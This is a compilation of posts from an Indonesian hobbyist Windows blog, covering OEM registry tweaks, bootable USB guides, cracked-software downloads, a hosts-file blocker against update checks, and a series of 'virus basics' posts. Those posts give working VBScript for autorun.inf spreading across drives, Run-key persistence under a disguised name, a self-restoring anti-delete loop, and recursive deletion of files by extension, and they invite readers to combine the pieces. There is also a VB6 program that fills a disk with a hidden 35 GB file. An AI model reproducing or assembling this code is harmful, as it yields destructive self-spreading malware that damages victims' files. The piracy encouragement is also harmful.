CARA MERUBAH LOGO OEM WINDOWS

Bila fajar menyingsing ijinkan aku menemui mu
Menyampaikan sebuah kata
Janganlah ragu
Karna aku adalah padamu

Sajak Ngalalana Dunya
DenDrif DeO

Kastemisasi atau personalitas memang tidak pernah lepas dari diri kita, karena corak atau mode atau model atau selera adalah bagian dari diri kita juga.Dan itupun tak lepas dari kastemisasi computer terutama pada tampilan seperti thema.Untuk kesempatan kali ini saya akan share tentang cara merubah informasi OEM pc.Gak usah lama-lama kita lihat screenshootnya:

Gambar logo OEM sendiri

Caranya simpel kok buka REGEDIT langsung saja menuju ke key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation
Klik kanan panel bagian kanan maka akan muncul popup menu pilih new  String Value masukkan kata Logo dan pada Data Value masukan alamat logo contoh: C:\Windows\system32\OEMLOG.bmp saya menyimpan gambar logo di system32.
Berikut screenshootnya:

Gampangkan..!
Tapi kalau sobat blogger gak mau repot silahkan download script regedit ini DISINI
dan tinggal dobel klik saja dan yes yes saja
Lalu gambar Logonya sebagai contoh download  DISINI
dan simpan di C:\Windows\System32

NB: gambar logo harus berukuran 100 x 100 px saja




Semoga bermanfaat...

VB DECOMPILER 8.3 PORTABLE

Andai aku tahu wajah mu
Tak kan aku terlelap
Karena keangkuhan mu
Hanya sebatas baju mu

Ngalalana Dunya
by DenDrif DeO
========================================================================
Lamaaaa sekali saya tidak update blog karena kesibukan yang memang menyita waktu.Rindu juga tidak buka-buka blog saya, tapi mau di bilang apa jangankan buat update, kadang istirahat pun saya susah.Gak apa-apalah yang penting sekarang saya update walaupun mungkin beritanya gak update.ini ada software namanya vb Decompiler versi 8.3 yang tentunya sobat blogger juga tahu software ini fungsinya untuk mendecompli/memecah menjadi project asli yang menyangkup source code, form,modul dll dari program yang terbuat dari VB 6
berikut sreenshootnya:

tidak perlu berbelit-belit silahkan sobat blogger download disini bagi yang berminat

password = www.dendrif.co.cc[VBDC]

semoga bermanfaat........................


Note : After trying, please Buy the Original Software
Type : Shareware / Price  ( Special Offer / Dicount click Homepage )

MEMBUAT BOOTABLE XP SETUP DAN WINDOWS 7 SERTA HBCD DAN MINI XP DALAM SATU UFD

Bila ada satu keyakinan
membahana langit
wujudkan keyakinan ku
pada hari hidup ku

Sajak Ngalalana Dunya
DenDrif DeO
========================================================================
kemarin saya jalan-jalan di DUMAY dan singgah di site-nya om MGM yang kebetulan site-nya memposting dan meng-upload file iso MultiBoot(Ghost0bk) yang isinya setup xp sp3,windows7 6 in 1, hbcd 13 dan mini xp dengan besar file kira-kira 4.06GB, lumayan gede.Multiboot ini bila di burn dengan file image tidak masalah akan keluar menu sesuai aslinya, namun saat saya boot ke UFD yang keluar hanya setup Windows 7-nya saja menu untuk xp, hbcd dan mini xp tidak ada, yah mubazir dong.akhirnya saya googling dan dapat satu aplikasi yang bagus dan bisa membuat multi boot.
Tidak mau panjang lebar ngomong kita langsung saja ke tutorialnya:
1.Download dahulu programnya
2.Colokkan UFD-nya yang 8GB kalau bisa sebab kalau hanya 4GB tidak akan cukup
3.Extrack dan Jalankan programnya

4.lalu pilih #Removeable dan #Windows will be installed in \WINDOWS

5.Pastikan UFD terlihat dan terpilih, kemudian klik tombol RMPrepUSB
6.maka program RMPrepUSB akan terbuka

7.ikuti seperti gambar di atas
a.pastikan UFD telah terpilih
b.pilih XP/BartPE bootable [NTLDR] 
c.Pilih Boot as HDD (C:2PNST), dan NTFS options 
d.Pilih File –> USB option 
e.Pilih MBR_0PTN.bin saja klik oke oke saja sampai keluar pesan

 dan

 tunggu beberapa saat hingga command Prompt muncul dan menampilhan pesan “Operation Completed”.

 tutup program PREPUSB.
8.Masukkan CD Xp installer dan kembali ke program WinSetupfromUSB klik browse dan arahkan ke folder atau drive sumber XP installer

9.Klik tombol Go dan biarkan program bekerja sampai selesai dengan ditandai munculnya pesan

10.Klik OK dan keluarkan CD XP installer dan ganti dengan DVD Windows 7 Installer
11.Pilih Vista/7 setup/PE/RecoveryISO dan browse ke folder atau drive sumber Windows 7 Installer   
     Klik GO

 tunggu hingga selesai

12.Sekarang sobat blogger tinggal download bootfiles(mediafire) extrack dan letakkan di Root UFD atau dengan kata lain kopi ketiga file tersebut ke Root UFD

13.UFD telah siap digunakan, dengan tampilan boot seperti berikut:

NB= Password
Winsetupfromusb = www.dendrif.co.cc[WSUSB]
Bootfiles = www.dendrif.co.cc[bootfiles]

Semoga Bermanfaat..............

MEMBUAT USB BOOTABLE UNTUK INSTALL WINDOWS 7 DENGAN CMD

Jiwa ingin tahu ini begitu menggelora
Biarkan dia hidup
mengusung hari - hari
hingga terjuntai membasuh penat

                                                                                   warna dunia
                                                                                   Dendrif Deo
=====================================================================
Sebenarnya telah banyak program atau aplikasi untuk membuat USB agar BOOTABLE sehingga bisa digunakan untuk menginstall OS baik LINUX maupun WINDOWS. Kali ini saya ingin membagi sedikit ilmu yang saya dapat dari internet yaitu membuat USB BOOTABLE UNTUK INSTALL WINDOWS 7  DENGAN CMD.Namun sebelumnya saya berpesan:

HATI - HATI MENJALANKAN CARA INI KARENA BILA SALAH AKAN BERAKIBAT FATAL, BISA SAJA HDD DRIVE SOBAT BLOGGER TERFORMAT ATAU TER DISKPART SEHINGGA AKAN MENGAKIBATKAN HILANG SEMUA DATA YANG ADA DI DRIVE YANG SALAH DIPILIH. 

"JADI BERHATI - HATILAH"

"SAYA TIDAK BERTANGGUNG JAWAB ATAS KERUSAKAN YANG TERJADI PADA KOMPUTER SOBAT BLOGGER"

Mari kita mulai 

buka cmd -> run -> ketik cmd -> enter

1.Ketik DISKPART -> enter

2.Ketik LIST DISK -> enter

3.Ketik SELECT DISK XXX  

'Ganti XXX dengan angka dimana USB drive sobat blogger ( lihat kapasitas USB Drive Untuk memudahkan biasanya yang 4 GB akan tertulis 3853 MB )(JANGAN SAMPAI SALAH PILIH SEBAB KALAU SALAH AKAN BERAKIBAT FATAL ) dari screenshoot diatas menjadi berikut syntaxnya:

SELECT DISK 3

4.Ketik   CLEAN  -> enter

5.Ketik  CREATE PARTITION PRIMARY  -> enter

6.Ketik   SELECT PARTITION 1  -> enter

7.Ketik   ACTIVE  -> enter

8.Ketik   FORMAT FS=NTFS  -> enter  

'biarkan sampai proses format selesai

9.Ketik   ASSIGN   -> enter

10.Ketik  EXIT  -> enter   'keluar dari diskpart

Masukkan DVD installer windows 7 dan lihat hurup drive DVD ROOM-nya misalnya K:

11.masih di CMD Ketik  K:  -> enter   

'masuk ke drive DVD ROOM

12.Ketik CD BOOT  -> enter   

'masuk ke folder Boot yang ada di windows 7 installer

13.Ketik  BOOTSECT.EXE /NT60 ZZZ:   

'Ganti ZZZ dengan hurup drive USB sobat Blogger misalnya Drive USB ada di L maka syntaxnya jadi seperti berikut:

BOOTSECT.EXE /NT60 L:  -> enter    

'Ini adalah Proses penulisan code BOOTABLE pada USB Drive, jadi JANGAN SALAH KETIK DRIVE

14.Kopi semua konten atau isi yang ada di Drive DVD ROOM yang berisi windows 7 installer

selanjutnya tinggal atur bios agar BOOT dari USB ketika akan INSTALL WINDOWS 7 

untuk mencoba apakah USB sobat blogger Bootable atau tidak silahkan pergunakan aplikasi ini

password mobalive.rar = www.dendrif-deo.co.cc

semoga berhasil.....

MEMBUAT INFORMASI OEM SENDIRI

Yah sambil iseng coba-coba saya mau mengganti tampilan OEM, daripada tampilannya biasa - biasa saja lebih baik dirubah selain biar tampil beda sekalian buat menunjukkan kalo PC ini punya saya sebab di OEM ada poto sayanya.kayak screenshoot di bawah ini:

nih tampilan OEM-nya

ini tampilan screeshoot program sederhananya:

OEM Owner Maker

Jadi sobat blogger bisa menggantinya sendiri.Ini saya share sourde codenya, VB 6 ya...!
=======================================================================
Private Sub Command1_Click()
If Text1.Text = "" And Text2.Text = "" And Text3.Text = "" And Text4.Text = "" And Text5.Text = "" And Text6.Text = "" Then
Exit Sub
Else
manu
model
hour
url
phone
logo
cek = AmbilString(HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "Manufacturer")
If cek = "" Then
manu
Else
If MsgBox("data tidak kosong apakah anda ingin menngantinya..?", vbQuestion + vbOKCancel, "oye") = vbOK Then
manu
End If
cek = AmbilString(HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "Model")
If cek = "" Then
model
Else
model
End If
cek = AmbilString(HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "SupportHours")
If cek = "" Then
hour
Else
hour
End If
cek = AmbilString(HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "SupportURL")
If cek = "" Then
url
Else
url
End If
cek = AmbilString(HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "SupportPhone")
If cek = "" Then
phone
Else
phone
End If
cek = AmbilString(HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "Logo")
If cek = "" Then
logo
Else
logo
End If
End If
MsgBox "Informasi OEM telah di buat silahkan tekan tombol" & vbCrLf & "win + Pause Break", vbInformation, "powered by dendrif deo"
End If
End Sub

Private Sub Command2_Click()
t = BrowseForFolder(, "Silahkan pilih file bmp,jpg,atau jpeg", , , Text6.Text, True, True)
    If t <> "" Then
        Text6.Text = t
    End If
End Sub
Private Sub manu()
If Text1.Text = "" Then
Exit Sub
Else
BuatString HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "Manufacturer", Text1.Text
End If
End Sub
Private Sub model()
If Text2.Text = "" Then
Exit Sub
Else
BuatString HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "Model", Text2.Text
End If
End Sub
Private Sub hour()
If Text3.Text = "" Then
BuatString HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "SupportHours", "1 x 24 jam"
Else
BuatString HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "SupportHours", Text3.Text & " jam"
End If
End Sub
Private Sub url()
If Text4.Text = "" Then
Exit Sub
Else
BuatString HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "SupportURL", Text4.Text
End If
End Sub
Private Sub phone()
If Text5.Text = "" Then
Exit Sub
Else
BuatString HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "SupportPhone", Text5.Text
End If
End Sub
Private Sub logo()
If Text6.Text = "" Then
Exit Sub
Else
BuatString HKLM, "SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation", "Logo", Text6.Text
End If
End Sub
Private Sub Command3_Click()
Open "C:\windows\meo.reg" For Output As 2
Print #2, "Windows Registry Editor Version 5.00"
Print #2, ""
Print #2, "[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation]"
Close #2
Shell ("regedit /s C:\windows\meo.reg")
Kill "C:\windows\meo.reg"
Open "C:\windows\me.reg" For Output As 1
Print #1, "Windows Registry Editor Version 5.00"
Print #1, ""
Print #1, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation]"
Close #1
Shell ("regedit /s C:\windows\me.reg")
Kill "C:\windows\me.reg"
MsgBox "Informasi OEM telah di hapus", vbInformation, "powered by dendrif deo"
End Sub

Private Sub Form_Load()
Me.Left = (Screen.Width - Me.Width) / 2
Me.Top = (Screen.Height - Me.Height) / 2
If App.PrevInstance Then
End
End If
End Sub

Private Sub Timer1_Timer()
Dim dendrifcaption As String
Dim c As Integer
Dim scrollrighttoleft As String
Dim dendriflastchar As String
dendrifcaption = Me.Caption
If dendrifcaption = "" Then
Exit Sub
End If
For c = 0 To Len(dendrifcaption)

'dendriflastchar = Right(dendrifcaption, 1)
'Me.Caption = dendriflastchar & Left(dendrifcaption, Len(dendrifcaption) - 1)

dendriflastchar = Left(dendrifcaption, 1)
Me.Caption = Mid(dendrifcaption, 2) & dendriflastchar

Next c
End Sub
====================================================================
sorce code ini kurang rapi silahkan sobat blogger sempurnakan.
program sederhana ini bisa didownload disini 
dan ini versi berikutnya perbaikan BUG disini
Password = www.dendrif-deo.co.cc[OEM]

semoga bermanfaat.....  :D

KU AMBIL HARD DISK MU 35,5 GB SAJA

Kebanyakan bengong jadi kayak orang linglung, dan entah kenapa tiba-tiba muncul ide jahil.Terinspirasi oleh Bapak Tri Amperiyanto akhirnya saya mencoba mencatut salah satu script bat atau cmd yang di eksekusi melalui visual basic 6.Namanya juga Newbie kebanyakan salahnya daripada benarnya. Ini program kok eror terus, masa hanya berfungsi di drive C saja, memangnya hard disk drivenya Cuma C saja? Cape deh….!Terpaksa deh program yang sudah di compile di tulis ulang codenya.Akhirnya saya memutuskan mendingan mengambil kapasitasnya di drive dimana program ini berada saja, jadi kalau program ini dijalankan di drive D maka drive D akan di ambil kapasitasnya sebesar 35,5 GB.Aneh-aneh saja ini program.Buat apa ngabisin kapasitas Hard disk gak bermanfaat..?

pencatut kapasitas hard disk

Siapa bilang tidak bermanfaat kalau kata saya sih bermanfaat daripada tuh hard disk buat nyimpan file Bokep  mendingan di catut saja, jadi kan alokasi 35,5 GB untuk file bokep gak ada ( becanda sob, jangan melotot gitu dong saya jadi takut).

Ini sebagian script codenya:   

=======================================================================

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Const VK_F5 = &H74

Private Sub Command1_Click()
On Error GoTo deo
Shell ("cmd.exe /c fsutil file createnew sysdrive.sys 37999900000")
MsgBox "hard disk sudah dikurangi 35.3GB", vbInformation, "kapasitas hardisk berkurang"
SetAttr App.Path & "\sysdrive.sys", vbHidden + vbSystem
GetAsyncKeyState (VK_F5)
Exit Sub
deo:
MsgBox "kapasitas hard disk tidak mencukupi", vbCritical, "Error...!"
End Sub

=======================================================================

download program disini

password : www.dendrif-deo.co.cc[EaterHD]

semoga bermanfaat........ :D

MEMBUAT PROGRAM SEDERHANA PEMBLOKIR WEB

Dasar newbie yang gak pernah kuliah apalagi belajar pemogramanbikin program kayak begini saja saya butuh waktu +/- 2 jam.Padahal kalau sobat blogger mungkin setengah jampun sudah selesai.Gak apa-apa ah namanya juga belajar.Asalnya sih saya iseng jalan-jalan didunia maya, ke web-web penyedia crack-crack-kan, habis saya tidak mampu buat beli, jadi cari crackkannya saja deh.Nah dalam ngecrack atau nge-patch selalu dicantumkan peringatan jangan update sebab kalau update softwarenya jadi gak berfungsi.Nah yang namanya software itu hamper selalu ada fasilitas updatenya yang kadangkala diam-diam otomatis update sendiri, contohnya idman.Hayo siapa yang gak kenal idman software jempolan buat download manager ini pasti banyak dicari crackkanya.Dan kalau sobat blogger telat sedikit saja update, itu idman langsung menghubungi servernya dan hanya beberapa detik idman crackkan pun jdi ada tampilan fake serial numbernya, sekarat tuh idman.

Terinspirasi dari itu akhirnya di otak saya muncul lampu bohlam bagaimana kalau saya buat program untuk memblok alamat web atau url update-an software.Oke dah kalau begitu saya cari virus dulu…!

Lho kok cari virus apa hubungannya?Ya adalah kalau tidak ada buat apa saya dari.Saya mau lihat codenya dari virus itu…setelah virusnya didapat saya mulai coding kotrak-kotrek,kotrak-kotrek, gagal lagi-gagal lagi.Saya sampai kesal, garuk-garuk kepala yang gak gatal, untung ditemani music jadi saya gak stress.Hampir saja saya putus asa dan gak mau meneruskannya.”Proyek Gagal”

Masih untung saya ingat satu pepatah jangan cepat putus asa jikala menemui kebuntuan istirahat dulu, simpan projectnya kapan-kapan lanjutkan kembali.Ya sudah saya mandi dulu biar segar.Mandi selesai saya kembali coding, untung nih PC habis di tune-up jadi lebih gesit dari kemarin-kemarin, walaupun Cuma Pentium 4 dan ram 1 GB tapi masih gesit buat buka visual basic 6 dan windows media player serta firefox di windows 7 sp1 ultimate ini.

Intinya sih ini program bikin file bat buat akses file hosts yang ada di folder system32.Tadinya saya nggak mau melibatkan file bat, tapi kok di VB6 susahnya akses file yang tidak berektension.File hosts kan tidak ada ektensionnya.Apa memang sayanya saja yang bloon(yang ini memang benar adanya bloon).

Kotrak-kotrek, kotrak-kotrek -àstart with full compile -à gagal…….

Hadoooh susah amat sih… gagal melulu…………………..!

Saya coding lagi, buka buku-buku yang ada tidak membuahkan hasil.Ternyata saya salah dalam perintah eksekusi shell cmd.Saya telusuri codenya terus saya edit dan saya pencet CTRL+F5……..

Yes –yes berhasil, oh senangnya…penulisan ke file hosts berhasil.Disaat senang itu muncul pertanyaan lah nanti kalau punya duit dan sudah membeli software asli terus mau update , tapi sudah kena blok bagaimana? Iya yah harus di normalkan nih….!

Saya mikir lagi ternyata merusak itu lebih gampang daripada membenarkan yah .Saya buka file hosts yang masih asli terus saya masukan saja ke code program.

Alhamdulillah beres.Jadilah program kecil ini, maaf kalau banyaaaak BUG-nya.

Inilah produk   si Newbie

program pemblokir web

NB:Mungkin beberapa AV akan mendeteksi program ini sebagai virus atau Trojan karena melakukan penulisan ke file hosts.
Sobat Blogger harus login sebagai administrator bila di windows 7, karena bila login sebagai user biasa akan gagal.

Bila sobat blogger sebelumnya sudah pernah memasukan alamat web ke file hosts sebaiknya dinormalkan dulu baru masukan kembali alamat web yang akan di blokir melalui program ini.

ini contoh sebagian source codenya:

=======================================================================

Private Sub Command2_Click()
If MsgBox("Anda yakin ingin menormalkan file host...!", vbYesNo + vbQuestion, "dendrif deo URL bloker") = vbYes Then
Open "C:\windows\system32\normal.bat" For Output As 2
Print #2, "echo # Copyright (c) 1993-2009 Microsoft Corp.>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo #>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo #>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo # This file contains the mappings of IP addresses to host names. Each>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo # entry should be kept on an individual line. The IP address should>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo # be placed in the first column followed by the corresponding host name.>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo # The IP address and the host name should be separated by at least one>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo # space.>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo #>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo # Additionally, comments (such as these) may be inserted on individual>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo # lines or following the machine name denoted by a '#' symbol.>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo #>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo # For example:"
Print #2, "echo #>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo #      102.54.94.97     rhino.acme.com          # source server>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo #       38.25.63.10     x.acme.com              # x client host>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo #>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo # localhost name resolution is handled within DNS itself.>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo #   127.0.0.1       localhost>>c:\windows\system32\Drivers\Etc\Hosts"
Print #2, "echo #   ::1             localhost>>c:\windows\system32\Drivers\Etc\Hosts"
Close #2
Shell ("cmd /c C:\windows\system32\normal.bat")
MsgBox "file HOsts telah di normalkan tidak ada url yang di blokir", vbInformation, "oke...!"
Kill "C:\windows\system32\normal.bat"
Else
Exit Sub
End If
End Sub

Private Sub Form_Load()
Me.Left = (Screen.Width - Me.Width) / 2
Me.Top = (Screen.Height - Me.Height) / 2
If App.PrevInstance Then
End
End If
End Sub
======================================================================

bila sobat blogger berminat program dapat didownload disini

password: www.dendrif-deo.co.cc[URLBlock]

semoga bermanfaat....... :D

MEMBUAT AUTORUN PADA FLASHDISK

Tujuan pastinya sudah jelas mengaktifkan diri tanpa di aktifkan oleh user, saat flashdisk ditancapkan virus langsung beraksi, sebenarnya bukan hanya di flashdisk saja di drive - drive lainpun virus akan membuat file pemicu.nama file pemicunya siapalagi kalau bukan AUTORUN.INF selain itu biasanya virus akan membuat pop-up menu saat klik kanan drive, langsung ke script sajalah yaa
=======================================================================
on error resume next
set dendrif=CreateObject("Scripting.FileSystemObject")
set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)
c1vs=vs.ReadAll
vs.close
set win=dendrif.GetSpecialFolder(0)
set c2vs=dendrif.GetFile(Wscript.ScriptFullName)
auto="[AUTORUN]" & vbcrlf & "shell\open=scan fo virus" & vbcrlf & "shell\open\command=wscript.exe wscript.scriptFullName" & vbcrlf & "shell\open\default=1" & vbcrlf & "shell\explorer=explorer" & vbcrlf & "shell\explorer\command=wscript.exe wscript.scriptFullName"    'ganti wscript.scriptFullName dgn nama virus

do
if (dendrif.FileExists("c:\ranis.jpg"))=false then
set c3vs=dendrif.createTextFile(win & "\SysInfo32.vbs")
c3vs.write c1vs
c3vs.close
for each deo in dendrif.drives
if (deo.drivetype=1 or deo.drivetype=2 ) and deo.path <>"A:" then
set c3vs=dendrif.createTextFile(deo.path & "\autorun.inf",2,true)
c3vs.write auto
c3vs.close
end if
next
else
end if
loop
=======================================================================
simpan script dengan extension vbs.
tulisan warna merah adalah script untuk membuat file autorun.inf, tulisan warna biru hanya komentar saya saja.
silahkan gabungkan script - script yang sudah saya share, mungkin hanya itu dulu dasar - dasar pembuatan virus vbs, inikan hanya dasarnya saja HAL - HAL LAIN yang lebih wah dan hebat masih banyak, saya tidak mampu menjangkaunya silahkan sobat blogger berexplorasi sendiri saya cuma titip pesan jangan menggunakan ilmu - ilmu yang sobat blogger punya untuk kegiatan merusak, kasihan orang yang tidak tahu apa - apa yang menjadi korban.pergunakanlah ilmu yang didapat untuk kebaikan ya siapa tahu dengan mengertinya sobat blogger akan virus  sobat blogger dapat membuat anti virus.
Penyalahgunaan yang saya share ini menjadi tanggung jawab sobat blogger masing - masing, saya hanya menyampaikan yang saya tahu walaupun hanya sedikit.
semoga bermanfaat...............  :D

KOMPUTERKU PANDAI MENULIS PUISI

Ini saya dapet code script vbs yang berfungsi untuk perintah sendkeys pada notepad.sebenarnya bukan hanya notepad saja sih program yang lainyapun bisa. gak pake basa - basi lagi langsung cek ke scripnya:
========================================================================
dim deo,strword,x,char
set deo=CreateObject("Wscript.shell")
strword="loading..........." & chr(13) & _
"Welldone brO!... Your script is working"& chr(13) & _
"What next....?!" & chr(13) & _
"Bagaimana kalau kita nulis puisi saja"& chr(13) & _
"Mari kita mulai"& chr(13) & _
"" & chr(13) & " " & chr(13) & "" & chr(13) &"TEMPURUNG" & chr(13) & "" & chr(13) & ""& chr(13) & _
"dalam harap ku tak pernah meminta" & chr(13) & "menjadikanmu penolong ratusan nafas yang membelenggu" & chr(13) &_
"aku bahagia dalam akalku, beginilah" & chr(13) & "kawanku yang lalu sepertinya berpendar" & chr(13) &_
"tak tahu aku yang masih ada di bawah batu - batu kecil" & chr(13) & _
"" & chr(13) & _
"senyum bahagia yang usang menyimpan buih - buih harapan" & chr(13) &  _
"bersama sang pelukis lantai aku memandang" & chr(13) & _
"dunia ini kecil walaupun besar" & chr(13) & _
"dunia ini teramat besar walaupun kecil" & chr(13) & _
"" & chr(13) & _
"menangis bukan untuk bahagia" & chr(13) & _
"serta bahagia bukan untuk menangis" & chr(13) & _
"aku yang hijau tersenyum dalam lorong masa lalu" & chr(13) & _
"aku yang hijau menatap tegap ke atas awan" & chr(13) & _
"sekarang aku yang coklat tak ada di lorong itu" & chr(13) & _
"lalu kawanku yang berbinar, tetap berbinar" & chr(13) & _
"buih - buih harapan yang di bangun disangkar emas terkikis" & chr(13) & _
"haruskah aku berbisik keras" & chr(13) & _
"" & chr(13) & _
"dari pojok tempurung aku muncul" & chr(13) & _
"yang terlupakan untuk beberapa masa" & chr(13) & _
"buih - buih yang terkikis masih ada setitik" & chr(13) & _
"biarlah ini yang akan ku bawa pulang, ke pojok tempurung itu" & chr(13) & _
"" & chr(13) &  "" & chr(13) &_
"" & chr(13) & _
"jakarta, 27 Oktober 2011" & chr(13) & _
"Owner : dendrif deo"
deo.run "notepad",2      '2 = windows normal   3 = maximize
for x=1 to len (strword)
char=mid(strword,x,1)
wscript.sleep 150
deo.sendkeys char
next
========================================================================
seperti biasa juga simpan script dengan extension vbs.......
selamat berpuisi dan menjadi pujangga..............  :D

VIRUS AKTIF SAAT WINDOWS AKTIF

Hal ini sudah menjadi kebiasaan virus jadi mungkin sobat blogger juga sudah pada tahu caranya, ya benar dengan menuliskan informasi di registry pada key Run baik itu HKCU maupun HKLM. Apa itu HKCU dan HKLM ? lain waktu saja saya membahasnya, soalnya sata mau cari info dulu tentang HKCU dan HKLM, saya kan pemula alias newbie jadi gak tahu apa - apa  .......  :( 
: maluuuuuu.......
contoh script vbs-nya
=========================================================================
on error resume next
set dendrif=CreateObject("Scripting.FileSystemObject")
set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)
set deo=createobject("Wscript.Shell")
c1vs=vs.ReadAll
vs.close
set win=dendrif.GetSpecialFolder(0)
set c2vs=dendrif.GetFile(Wscript.ScriptFullName)
c2vs.Copy (win & "\runs.vbs")
c2vs.Copy (win & "\rani.jpg")
c2vs.Copy (win & "\SysInfo.vbs")
deo.regwrite "HKEY_CURRENT_USER\Software\microsoft\windows\CurrentVersion\Run\SysInfo", win & "\runs.vbs","REG_SZ"
========================================================================
tidak ada yang perlu di jelaskan karena sudah dijelaskan dari sebelum - sebelumnya, intinya hanya menulis di registry saat windows aktif maka virus yang ada di C:\windows\runs.vbs ikut di jalankan...  :)
coba tambahkan lagi di bawahnya:
deo.regwrite "HKEY_LOCALE_MACHINE\Software\microsoft\windows\CurrentVersion\Run\SysInfo", win & "\runs.vbs","REG_SZ"

screenshotnya:

informasi startup virus di key Run

semoga bermanfaat..........  :D

MENGERJAI JENIS FILE TERTENTU

Ini bagian dari virus yang bersifat destruktif(merusak), berbahaya dan merugikan, saya agak riskan men-sharenya.Selain saya tidak tahu secara pasti ( belum saya coba Sob, habis takut file-file saya rusak ).Lagipula saya tidak bisa menjelaskannya jadi saya cuma kasih scriptnya saja mau berfungsi atau tidak saya tidak mau menanggung resiko kehilangan file.Ini saya ambil dari potongan kode virus yang saya dapat dari buku dan saya modifikasi.
berikut scriptnya:
=========================================================================
on error resume next
set dendrif=CreateObject("Scripting.FileSystemObject")
set deo = dendrif.drives
for each drife in deo
if drife.drivetype=1 or drife.drivetype=2 then
dosearch (drife & "\")
end if
next
sub dosearch(path)
on error resume next
set dendrif=CreateObject("Scripting.FileSystemObject")
set folder = dendrif.getfolder(path)
set files = folder.files
for each file in files
if LCase(dendrif.GetExtensionName(file.path))="x1x" or LCase(dendrif.GetExtensionName(file.path))="x2x" then {satu baris sama if LCase(dendrif.GetExtensionName(file.path))="x1x"}
set cop=dendrif.getfile(wscript.scriptfullname)
cop.copy (file.path & ".vbs")  { aksi kejahatan disini }
dendrif.deletefile (file.path)     { aksi kejahatan disini }
end if
on error resume next
next
set subfolders=folder.subfolders
for each subfolder in subfolders
dosearch subfolder.path
next
end sub
========================================================================
simpan scrpt dengan nama infek.vbs
teks warna biru jangan diketik...ini hanya komentar saya saja
HATI - HATI JANGAN MEMASUKAN EXTENSI FILE YANG ADA DI PC, KARENA FILE YANG EXTENSIONNYA DIMASUKAN AKAN RUSAK ATAU DI HAPUS.....!
untuk membuktikannya, coba buka notepad ketikkan apa saja sesuka sobat blogger kemudian simpan dengan nama korban1.x1x ( ini berarti filenya berextensi x1x ), buka kembali notepad dan ketikkan lagi sesuka sobat blogger kemudian simpan dengan nama korban2.x1x.
Dan buka kembali notepad dan ketikkan lirik lagunya ayu ting ting, simpan dengan nama ayu.x2x.Buka lagi notepadnya ketikkan seenaknya biar tuh notepad diisi dengan tulisan yang aneh lalu simpan dengan nama korban3.x2x.Semua hasil dari notepad simpan difolder yang mudah dicari.jalankan script infek.vbs.Tunggu beberapa saat ( tergantung spek pc dan banyaknya file serta kapasitas HDD ).Tidak lama kemudian apa yang terjadi dengan keempat file tersebut?hanya sobat blogger yang tahu.
Kembali ke script saya TIDAK MENYARANKAN sobat blogger mengganti x1x atau x2x tapi sobat blogger bisa saja mengganti x1x atau x2x dengan doc atau mp3 kokasal jangan EXE karena bila sobat blogger menggantinya dengan exe sungguh TERLALUUUU berarti sobat blogger termasuk orang yang tidak berperikekomputeran.....?( maksud nya..? )

download script
password = www.dendrif-deo.co.cc[infekfile]
semoga bermanfaat......... :D

ANTI DELETE

Mungkin ini adalah jurus kanuragan virus yang wajib dipunyai secara mutlak, biar daur hidupnya terus berlangsung.Kayaknya nih virus harus pergi ke Banten dulu buat belajar debus, biar nggak mempan di kemplang dan di masukan ke tong sampah alias Recycle Bin.

Simak ( jailaaah simak ) kode berikut ( maaf kalau bahasanya sok menggurui, buang prasangka itu jauh-jauh ya ).Cekidot……

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set win=dendrif.GetSpecialFolder(0)

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

do

if (dendrif.FileExists("c:\ranis.jpg"))=false then

set c3vs=dendrif.createTextFile(win & "\SysInfo32.vbs")

c3vs.write c1vs

c3vs.close

else

end if

loop

penjelasan script

on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya

set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai  penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)

